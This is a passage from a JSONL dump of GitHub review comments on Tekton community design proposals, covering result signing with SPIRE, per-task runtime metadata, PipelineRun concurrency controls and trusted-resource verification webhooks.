((https://github.com/tektoncd/pipeline/blob/34618964300620dca44d10a595e4af84e9903a55/pkg/apis/pipeline/v1beta1/taskrun_types.go#L111)). You are right as well they are put in the results of the pod - but just as a means to get to the TaskRun. \r\n\r\nThat's just the medium of moving the information from the TaskRun Pod to the Pod Status which then moves to the TaskRun Status annotations. \r\n\r\nIt is a bit convoluted, but that was the easiest way we could come up without complicating things too much.\r\n\r\n", "comment_id": 842143863, "created_at": "2022-04-04T21:10:36Z", "line": 279, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Thanks! Changed all to \"tekton-pipelines-controller\"!", "comment_id": 842147601, "created_at": "2022-04-04T21:16:26Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Fixed!", "comment_id": 842147857, "created_at": "2022-04-04T21:16:51Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Right now, the status would be \"False\" if it fails with the reason encoded. Would that be sufficient? Would like to hear your thoughts.\r\n\r\n`status`|`reason`|`completionTime` is set|Description\r\n:-------|:-------|:---------------------:|--------------:\r\nTrue|TaskRunResultsVerified|Yes|The `TaskRun` results have been verified through validation of its signatures\r\nFalse|TaskRunResultsVerificationFailed|Yes|The `TaskRun` results' signatures failed to verify\r\nUnknown|AwaitingTaskRunResults|No|Waiting upon `TaskRun` results and signatures to verify", "comment_id": 842150113, "created_at": "2022-04-04T21:20:30Z", "line": 399, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pxp928", "body": "This follows the current format of the other conditions within pipeline. So for consistency this is how the condition for spire verification was done. ", "comment_id": 842710984, "created_at": "2022-04-05T12:11:56Z", "line": 399, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pxp928", "body": "I agree with @lumjjb. I did not see anything else in the code related to that. The termination message from each container within the pod was the method it used to get the TaskRun results back out. These are parsed and filtered to show as TaskRun Results. ", "comment_id": 842731726, "created_at": "2022-04-05T12:35:27Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "Thank you @lumjjb its reasonable to implement it this way for now and we can move to better alternative in future.", "comment_id": 848989898, "created_at": "2022-04-13T01:21:45Z", "line": 279, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "this is not updated as part of this PR but its a little confusing (sorry to point it out at this point). What does `taskRun` yaml mean here? My understanding is you are referencing to a taskRun resource (CRD), right? \ud83e\udd14 ", "comment_id": 848990589, "created_at": "2022-04-13T01:23:37Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "We have an issue in our existing `conditions` where it does not keep track of this kind of history. The list of conditions always has only one entry. We will have to fix it to show this kind of transition. Its great if it's already fixed! ", "comment_id": 848992159, "created_at": "2022-04-13T01:28:03Z", "line": 478, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "pritidesai", "body": "What happens if the result cannot be verified when the task producing that result is part of a pipeline? The pipeline execution still continues? A pipeline can have the dependent task which is consuming the task result or it could be possible that the task result is not consumed at all", "comment_id": 848998073, "created_at": "2022-04-13T01:44:26Z", "line": 591, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "yes resource :). Changed the text!", "comment_id": 849508892, "created_at": "2022-04-13T13:51:43Z", "line": null, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Ah - this would be something we would have to keep in mind in the testing and implementation PR. (tagging @pxp928 for awareness)", "comment_id": 849508930, "created_at": "2022-04-13T13:51:46Z", "line": 478, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "lumjjb", "body": "Yup! It will keep running and just add an indication of non-verifiable via the annotation!", "comment_id": 849508972, "created_at": "2022-04-13T13:51:48Z", "line": 591, "path": "teps/0089-nonfalsifiable-provenance-support.md", "pr_number": 643, "repo": "community"} +{"author": "afrittoli", "body": "This should be shared with the tekton community", "comment_id": 864808077, "created_at": "2022-05-04T13:09:14Z", "line": 310, "path": "teps/0106-support-specifying-metadata-per-task-in-runtime.md", "pr_number": 695, "repo": "community"} +{"author": "afrittoli", "body": "This looks good. We might want to prevent overriding of Tekton defined labels and annotations though.\r\nFor instance, in this example:\r\n\r\n```yaml\r\napiVersion: tekton.dev/v1beta1\r\nkind: TaskRun\r\nmetadata:\r\n annotations:\r\n chains.tekton.dev/retries: \"3\"\r\n chains.tekton.dev/signed: failed. \r\n pipeline.tekton.dev/affinity-assistant: affinity-assistant-24428a19af\r\n pipeline.tekton.dev/release: 6b5710c\r\n results.tekton.dev/record: default/results/5ffb52cc-ce6f-466b-8ddf-827b955cf6c5/records/43f5e888-b935-4264-91c2-7ff54fd09b3e\r\n results.tekton.dev/result: default/results/5ffb52cc-ce6f-466b-8ddf-827b955cf6c5\r\n labels:\r\n tekton.dev/memberOf: tasks\r\n tekton.dev/pipeline: catalog-publish\r\n tekton.dev/pipelineRun: publish-catalog-tekton-ghn4b\r\n tekton.dev/pipelineTask: git-clone\r\n tekton.dev/task: git-clone\r\n triggers.tekton.dev/eventlistener: tekton-cd\r\n triggers.tekton.dev/trigger: catalog\r\n triggers.tekton.dev/triggers-eventid: 5ffb52cc-ce6f-466b-8ddf-827b955cf6c5\r\n```\r\n\r\n- pipeline.tekton.dev annotations are set by the pipeline controller\r\n- chains.tekton.dev annotations are set by chains\r\n- results.tekton.dev annotations are set by results\r\n- tekton.dev labels are set by the pipeline controller or coming from the catalog\r\n- triggers.tekton.dev labels are set by triggers", "comment_id": 864813657, "created_at": "2022-05-04T13:15:07Z", "line": 219, "path": "teps/0106-support-specifying-metadata-per-task-in-runtime.md", "pr_number": 695, "repo": "community"} +{"author": "austinzhao-go", "body": "good catch, thanks Andrea! thinking where do we do the validation(check if overwriting the Tekton metadata) on current logic?\r\n\r\nworking on my changes with this fuc, perhaps also could be a place which needs to ensure \"not overwriting tekton metadata\" right\r\nhttps://github.com/tektoncd/pipeline/blob/d5ae54ac4d978a142ad1ddd26921bb761dd0bfff/pkg/reconciler/pipelinerun/pipelinerun.go#L1010\r\n\r\n", "comment_id": 864835699, "created_at": "2022-05-04T13:35:31Z", "line": 219, "path": "teps/0106-support-specifying-metadata-per-task-in-runtime.md", "pr_number": 695, "repo": "community"} +{"author": "austinzhao-go", "body": "if validation logic exists on current code, think I can do this to prevent the overwriting:\r\n- add the similar validation on the added field, so the tekton overwritten metadata can't be inputed\r\n- keep changes (populating metadata with the mentioned precedence) in the [` combineTaskRunAndTaskSpecAnnotations()`](https://github.com/tektoncd/pipeline/blob/d5ae54ac4d978a142ad1ddd26921bb761dd0bfff/pkg/reconciler/pipelinerun/pipelinerun.go#L1010)", "comment_id": 864842755, "created_at": "2022-05-04T13:41:48Z", "line": 219, "path": "teps/0106-support-specifying-metadata-per-task-in-runtime.md", "pr_number": 695, "repo": "community"} +{"author": "afrittoli", "body": "I thought https://github.com/tektoncd/pipeline/issues/4366 had been implemented but in fact it's still open - in which case I would say we don't need to implement it here - yet. \r\nWhen we implement the restriction, we will update the runtime metadata.", "comment_id": 864858885, "created_at": "2022-05-04T13:56:28Z", "line": 219, "path": "teps/0106-support-specifying-metadata-per-task-in-runtime.md", "pr_number": 695, "repo": "community"} +{"author": "austinzhao-go", "body": "thanks this context. I will update this point into TEP and mark a follow-up action to revisit this work after the constraint is applied. (also let me update the linked context in that issue)", "comment_id": 864873334, "created_at": "2022-05-04T14:06:32Z", "line": 219, "path": "teps/0106-support-specifying-metadata-per-task-in-runtime.md", "pr_number": 695, "repo": "community"} +{"author": "lbernick", "body": "I would imagine there are also some CD related use cases here: maybe you want to build an image and tag as \"latest\", or deploy some infra to a cluster, and you want to make sure the most recently created pipelinerun is also the one that is applied last.", "comment_id": 933489619, "created_at": "2022-07-29T17:40:45Z", "line": 101, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "I'm wondering if it could make sense to have any of this defined on the Pipeline instead. for example, in the case where you want only one CI run at a time:\r\n\r\n```\r\nkind: Pipeline\r\nspec:\r\n concurrency:\r\n zeroOverlap:\r\n key: $(params.pull-request-id)\r\n```\r\n", "comment_id": 933496995, "created_at": "2022-07-29T17:52:06Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "potential alternative syntax:\r\n\r\n```\r\nconcurrency:\r\n key: $(params.foo)\r\n strategy: cancel # options here are \"queue\" and \"cancel\"\r\n max: 1 # we can choose a default value for max depending on the concurrency strategy\r\n```", "comment_id": 933498202, "created_at": "2022-07-29T17:53:58Z", "line": 130, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "just a formatting note, I think it would be helpful to separate out use cases from proposed strategies-- that makes it a bit easier to separate design from motivation and make sure we have a strategy for addressing each use case; up to you though!", "comment_id": 933500320, "created_at": "2022-07-29T17:56:59Z", "line": 104, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "williamlfish", "body": "ah this is interesting, like having the idea of overlap closer to the actual thing you don't want overlapped ( for lack of better phrasing lolol \ud83d\ude48 )? There is something that feels nice and clean about that, but I wonder if in practice it will be hard for users to remember where one config goes vs another? ", "comment_id": 933802710, "created_at": "2022-07-30T12:57:53Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "Yeah! The reason I suggest this is because the Pipeline author knows whether concurrency is appropriate for the pipeline, and this will allow users to not have to set concurrency controls on every pipelinerun for that pipeline. I'm sure we could explore adding this to the PipelineRun later if there's a clear need. What do you mean by it being hard to remember where one config goes vs another?", "comment_id": 934607880, "created_at": "2022-08-01T14:39:39Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "williamlfish", "body": "All I meant on the topic of remembering where configs might go, if the zeroOverlap is on the pipeline, but the queue config is on the PipelineRun, then there are 2 areas that are managing a similar topic ( concurrency ). That being said, I dont think it is a hard stop or anything, just a thought. ", "comment_id": 934700582, "created_at": "2022-08-01T16:14:37Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "I think we could probably add both options to the Pipeline spec for now (like in the alternative syntax example I put below) and then we could always add `concurrency` to PipelineRun later if needed. Do you think the \"queue\" option is something you would want to specify on the PipelineRun?", "comment_id": 934895467, "created_at": "2022-08-01T20:29:41Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "williamlfish", "body": "This alternative syntax does not give the ability to use both a queue and zeroOverlap at the same time right? or am i misunderstanding part of it? ", "comment_id": 934924491, "created_at": "2022-08-01T21:13:16Z", "line": 130, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "It doesn't. Imagine there are 5 PipelineRuns running, with max = 5. My understanding would be that if a new PipelineRun was created and the strategy was \"queue\", it would wait until one finished before starting. If the strategy was \"cancel\", it would cancel the earliest created PipelineRun and then start. ZeroOverlap is \"cancel\" with max = 1.\r\n\r\nI'm not understanding why you might want to use both at the same time; they seem incompatible with each other. Can you describe what you had in mind?", "comment_id": 935585404, "created_at": "2022-08-02T13:19:10Z", "line": 130, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "vdemeester", "body": "So there is a debate of \"is concurrency an authoring or a runtime concern ?\" \ud83d\ude43. \r\n\r\n> The reason I suggest this is because the Pipeline author knows whether concurrency is appropriate for the pipeline, and this will allow users to not have to set concurrency controls on every pipelinerun for that pipeline.\r\n\r\nI partly disagree on this. It might be true for some usecase, but I am not sure this would be the majority, at all.\r\nIf I have a Go `Pipeline` (build, test, publish an image or something), as an author, I do not need nor want to set concurrency on this, as I don't really have to care about it. **But** as a consumer of this Pipeline, I may want to have only 1 PipelineRun for this `Pipeline` to run **per Go project**.\r\nIn addition, putting this on the `Pipeline` spec might reduce `Pipeline` \"share-ability\". Taking that Go `Pipeline` again, and assuming it's available in a catalog (or better, through the hub) ; if I want to achieve what I described above, I actually need to \"duplicate\" the `Pipeline` or *augment* it using, for example, Kustomize.\r\n\r\nMy take on this is almost the opposite as @lbernick \ud83d\udc7c\ud83c\udffc \ud83d\ude43. I'd rather start by having this on the `PipelineRun` spec as it's closer to a \"runtime\" concern than an authoring one. And *then* I would explore the *in `Pipeline`*. Not having it on `PipelineRun` also reduce a bit it's \"potential\", because then any tool (or user) using embedded specs (like [`pipelines-as-code`](https://pipelinesascode.com/)) will not benefit from it at all.", "comment_id": 949168808, "created_at": "2022-08-18T13:58:14Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "lbernick", "body": "Thinking about this a bit more today-- what would we do if two PipelineRuns had the same concurrency key but different concurrency strategies? I think the concurrency strategy has to be defined somewhere other than the PipelineRun-- either on the Pipeline or in a configmap or new CRD. I do see your point though about how different users of a given pipeline might want to configure concurrency differently, which makes me lean more towards cluster-level configuration (like in your original hackmd).", "comment_id": 953888663, "created_at": "2022-08-24T14:38:48Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "vdemeester", "body": "Aren't we thinking too much about this though ? \r\nWho are we targeting for this feature ? Do we assume the majority of the usage of this features will be tools (pipeline-as-code, team's tooling, \u2026) or end-users ? Can this be documented as an actual \"known limitation\" ? Can we make those keys unique maybe (compute and append a hash on the referenced pipeline or embedded pipeline definition, \u2026) ?\r\n\r\nCluster-level configuration is a bit tricky. It *works* for some cases, mainly, for cluster-admins to limit the number of \"resources\" consumed by tekton, but teams on their own namespaces will probably need to handle those per namespace or \"project\" or pipeline. ", "comment_id": 953941565, "created_at": "2022-08-24T15:22:23Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "vdemeester", "body": "To detail this a bit more:\r\n- on the \"making things unique\", the controller could take the user's provided concurrency-key, but when \"computing\" it, also \"hashing\" the pipelinespec the pipelinerun refers to (be it through pipelineref or embedded spec). That way, it wouldn't \"conflict\" if 2 PR refers to different pipeline (or an update on a pipeline) but they same concurrency key. This comes with its own set of challenges/problems but we could keep that approach in mind while experimenting.\r\n- the \"main\" assumption I am making here though, is that in most of the cases, the users doesn't create the PipelineRun himself (aka authoring it), tools do it for them (clients like tkn, tools like pipelines-as-code, home-grown tool, ibm stuff, \u2026). And in the small amount of cases where the user author them, it's probably fine to have this known limitation/issue.\r\n\r\nIn a gist, I really do think, while experimenting, while it's in alpha & all, we can not overthink this, and see with \"usage\" if it really is a problem or not.", "comment_id": 954603948, "created_at": "2022-08-25T07:36:02Z", "line": 126, "path": "teps/0117-manage-pipelinerun-concurrency.md", "pr_number": 716, "repo": "community"} +{"author": "wlynch", "body": "fwiw, if we're adding this to Pipelines I wouldn't be opposed to adding this to the existing validation webhook. The separate webhook we were using in experimental was primarily to allow optional installation.\r\n\r\n(that said, also fine to ship the second webhook to start if that simplifies things)", "comment_id": 913837494, "created_at": "2022-07-05T14:03:19Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "We should be careful not to expose new types to the users if we can avoid it - we should try to unexport these / put into an internal package if possible for the real impl.", "comment_id": 913839178, "created_at": "2022-07-05T14:04:57Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "We should be careful not to place too much trust into this option, since it can be mutated later by another user later on.", "comment_id": 913840776, "created_at": "2022-07-05T14:06:22Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "If possible, could this be added to the status so that the data can be signed by [SPIFFE/SPIRE](https://github.com/tektoncd/community/blob/main/teps/0089-nonfalsifiable-provenance-support.md)?", "comment_id": 913842712, "created_at": "2022-07-05T14:08:05Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "3rd option - you might also be interested in returning a warning response for failure for non-enforced validation. https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#response", "comment_id": 913843588, "created_at": "2022-07-05T14:08:47Z", "line": 248, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "```suggestion\r\nConfiguration sample:\r\n```", "comment_id": 913843717, "created_at": "2022-07-05T14:08:54Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Oh ok. So should I include both options?\r\n1) Add into existing webhook\r\n2) Add a new webhook", "comment_id": 915139936, "created_at": "2022-07-06T18:29:57Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "you mean add all the stuff into existing tekton pipeline?", "comment_id": 915148900, "created_at": "2022-07-06T18:41:37Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "> We should be careful not to place too much trust into this option, since it can be mutated later by another user later on.\r\n\r\nOh yes, so for status did you mean this?https://github.com/tektoncd/pipeline/blob/6876520132f3bb22ff076e6a223b7114e936c611/pkg/apis/pipeline/v1beta1/taskrun_types.go#L120-L125", "comment_id": 915153942, "created_at": "2022-07-06T18:48:09Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "is it something we can do within knative's admission webhook?", "comment_id": 915161181, "created_at": "2022-07-06T18:57:36Z", "line": 248, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "typo\r\n```suggestion\r\n- Specification of a verification mechanism for Taskrun, Pipelinerun and Run.\r\n```", "comment_id": 918097501, "created_at": "2022-07-11T15:51:08Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "Do you have a rough estimate of how long the resource fetch takes?", "comment_id": 918111018, "created_at": "2022-07-11T16:04:48Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "Wouldn't another mitigation be moving the verification from the webhook to the reconciler?", "comment_id": 918116800, "created_at": "2022-07-11T16:11:17Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "yeah packaging the new webhook into the pipeline webhook binary should be straightforward.", "comment_id": 918124022, "created_at": "2022-07-11T16:18:46Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "Not 100% sure but I think this might be possible by setting the `DiagnosticLevel` when retuning an `apis.FieldError` from the webhook validation", "comment_id": 918136872, "created_at": "2022-07-11T16:32:51Z", "line": 248, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 930135148, "created_at": "2022-07-26T15:50:49Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "I don't have right now. It will depend on how revolver work and also what remote source we are fetching. For now I can make some experiment, like for the OCI case, if I pull it from docker hub, how long it will take. To get a rough estimate of it!", "comment_id": 930138880, "created_at": "2022-07-26T15:54:05Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Correct me if I'm wrong.\r\nIf we move it to the reconciler, for local tasks/pipelines they still need to go through mutating webhook. And the content may be changed. The flow is:\r\nmutating -> validation -> reconciler \r\n\r\n\r\n", "comment_id": 930145468, "created_at": "2022-07-26T15:58:43Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "I can do some research this week and see if there are better ways!", "comment_id": 930147508, "created_at": "2022-07-26T16:00:03Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Ok got it!", "comment_id": 930151082, "created_at": "2022-07-26T16:03:00Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "I changed this section to add the verification into current admission webhook, and it should be gated by a new configmap.", "comment_id": 931547049, "created_at": "2022-07-27T20:20:43Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "if we integrate into the pipeline then this shouldn't be a problem. I have changed the tep to propose to add to the pipeline", "comment_id": 931547920, "created_at": "2022-07-27T20:21:58Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "This is supported in knative 3 months ago. https://github.com/knative/pkg/pull/2498\r\nJust check the code `pipeline` is not updated to include this change but `operator` does. \r\nI can update this in the tep", "comment_id": 931566537, "created_at": "2022-07-27T20:46:36Z", "line": 248, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Tested a simple task oci bundle fetching from docker hub and the time is very short, can be ignored.", "comment_id": 932610035, "created_at": "2022-07-28T19:45:39Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Updated the tep to propose adding a field under `TaskRunStatus`, and add the result into this new field", "comment_id": 932616196, "created_at": "2022-07-28T19:54:30Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "You are right. One option is that we apply the SetDefaults() each time on reconcile instead of at admission time (so the object stored in etcd is not mutated)\r\n\r\nAnother possibility might be having the CLI that is doing the signing make a dry-run call to the API server to get the resource defaults set and sign that https://kubernetes.io/docs/reference/using-api/api-concepts/#dry-run\r\n\r\n", "comment_id": 938346833, "created_at": "2022-08-05T00:17:58Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "I'm still a bit worried about the remote artifact fetch particularly if this is done as a validation webhook and uses remote resolution - that would involve the webhook creating a ResolutionRequest CR, waiting for the Resolver to finish resolving, and making a validation decision. \r\n\r\n(One mitigation would be to do this verification in the reconciler (or the resolver) instead of in the admission webhook)", "comment_id": 938350399, "created_at": "2022-08-05T00:28:25Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "dibyom", "body": "Are you leaning towards one of these options at the moment?", "comment_id": 938353020, "created_at": "2022-08-05T00:35:43Z", "line": 283, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Oh thanks!\r\nThe dryrun is really helpful, Billy just also mentioned this.\r\nRight now it is similar that I add call setdefaults during signing, the benefit is that it will not depend a running cluster, but it cannot guarantee that the setdefault is the same as the cluster's tekton. So I think what you're suggesting is better!\r\n", "comment_id": 939026444, "created_at": "2022-08-05T17:33:50Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Right now the implementation is based on callbacks in validation webhook of pipeline. I think the benefit of having it in webhook is that we can fail the run/build instantly when it fails the verification.\r\n\r\nI discussed the integration with remote resolution in one of the working groups before, and Priti suggested me to wait until the remote resolution come to beta version.\r\n\r\n", "comment_id": 939033330, "created_at": "2022-08-05T17:41:33Z", "line": 283, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Yes, and this also needs to give webhook the permission to fetch the tasks/pipelines. It's not so difficult to do it after resolution.", "comment_id": 939165936, "created_at": "2022-08-05T19:31:23Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "Is this sentence still up to date? An admission controller might not work for remote resources?", "comment_id": 940011781, "created_at": "2022-08-08T09:14:02Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "What are \"builder images\"? Are these the images used in the steps? If so, I would recommend to stick to the standard Tekton nomenclature to avoid confusion, and define any new nomenclature that needs to be introduced.", "comment_id": 940014532, "created_at": "2022-08-08T09:16:44Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "I think it would be good to expand on \"the\" private key. \r\nWhere does this key come from, what role does an author need to have to have access to a private key and sign resources, do we trust all signed resources or can specify a set of trusted signing keys?", "comment_id": 940018185, "created_at": "2022-08-08T09:20:13Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "Will the deployment be on by default and enforcement controlled via configuration?\r\nAny implication on the operator here?", "comment_id": 940019456, "created_at": "2022-08-08T09:21:37Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "How would this work with a validation webhook and remote resources? \r\nWould the validation webhook apply to the `TaskRun` / `PipelineRun`? That would mean that both the webhook and controller would have to fetch remote resources, unless the controller would have a way to use the resources fetched by webhook. ", "comment_id": 940022960, "created_at": "2022-08-08T09:25:06Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "Not all Tekton resources are installed on the cluster, so the admission webhook will not catch remote resources and OCI bundles. ", "comment_id": 940027347, "created_at": "2022-08-08T09:29:33Z", "line": 240, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "afrittoli", "body": "Which webhook does this refer to?", "comment_id": 940030202, "created_at": "2022-08-08T09:32:32Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Thanks! \r\n\r\n1. Right now it is not necessarily a new admission webhhook, after some experiments last week we can just add some new callbacks into Pipelines's validating webhook to do the verification. I will update the tep.\r\n2. Correct me if I'm wrong, Admission controller should be able to fetch remote resources just like what we do in reconciler, right now the implementation can fetch the oci bundles using `k8schain`?", "comment_id": 940387153, "created_at": "2022-08-08T15:39:26Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Yes, it refers to the step images. So should I use `step images`?", "comment_id": 940390505, "created_at": "2022-08-08T15:42:47Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "Thanks! This is a great point.\r\nThe current idea/assumption is that, the private keys should come from the users who want to use this feature. So it is quite flexible that some users can have their own private keys and publish the public keys. Tektoncd or pipeline doesn't provide private keys right now. \r\n\r\n\r\n", "comment_id": 940398411, "created_at": "2022-08-08T15:50:45Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "If this makes sense, I can expand this section to clarify. Of if you have any other suggestions pls let me know. \ud83d\ude04 ", "comment_id": 940399494, "created_at": "2022-08-08T15:51:54Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "> Will the deployment be on by default and enforcement controlled via configuration?\r\n\r\nThis will be gated by alpha and a new configmap, and by default it should just skip the verification. This section is not updated and I will update right now!", "comment_id": 940401383, "created_at": "2022-08-08T15:53:46Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "Yongxuanzhang", "body": "> How would this work with a validation webhook and remote resources? Would the validation webhook apply to the `TaskRun` / `PipelineRun`? That would mean that both the webhook and controller would have to fetch remote resources, unless the controller would have a way to use the resources fetched by webhook.\r\n\r\nYes you're right that both the webhook and controller would have to fetch remote resources if this feature is enabled and we want to have the verification in webhook.\r\n\r\nAnother option is that we can integrate the verification together with remote resolution, either in the reconciler after resolving or in the resolver.\r\n\r\n", "comment_id": 940406358, "created_at": "2022-08-08T15:56:11Z", "line": 195, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "+1 for moving defaults to the reconciler - the less we mutate the config before verification the better.", "comment_id": 940587836, "created_at": "2022-08-08T19:25:19Z", "line": 156, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "possibly just a phrasing thing? the use of \"the private\" makes it sound like there's a preexisting key that users should use, when really IIUC this is just an arbitrary key pair under the users control?\r\n\r\n```suggestion\r\noutputs to be trusted so that provenance attestations can be confidently made. The author will use their own public/private key pair to sign the Resource and signatures are stored in `Annotations` map of the Resource. Public keys are stored as secrets or via URI stored in the configmap. Similar mechanism is used in [Chains](https://github.com/tektoncd/chains).\r\n```", "comment_id": 940591237, "created_at": "2022-08-08T19:29:16Z", "line": null, "path": "teps/0091-trusted-resources.md", "pr_number": 739, "repo": "community"} +{"author": "wlynch", "body": "This will be difficult to support for multiple keys. You'll probably want a policy configuration similar to https://github.com/sigstore/policy-controller.", "comment_id": 940594144, "created_at": 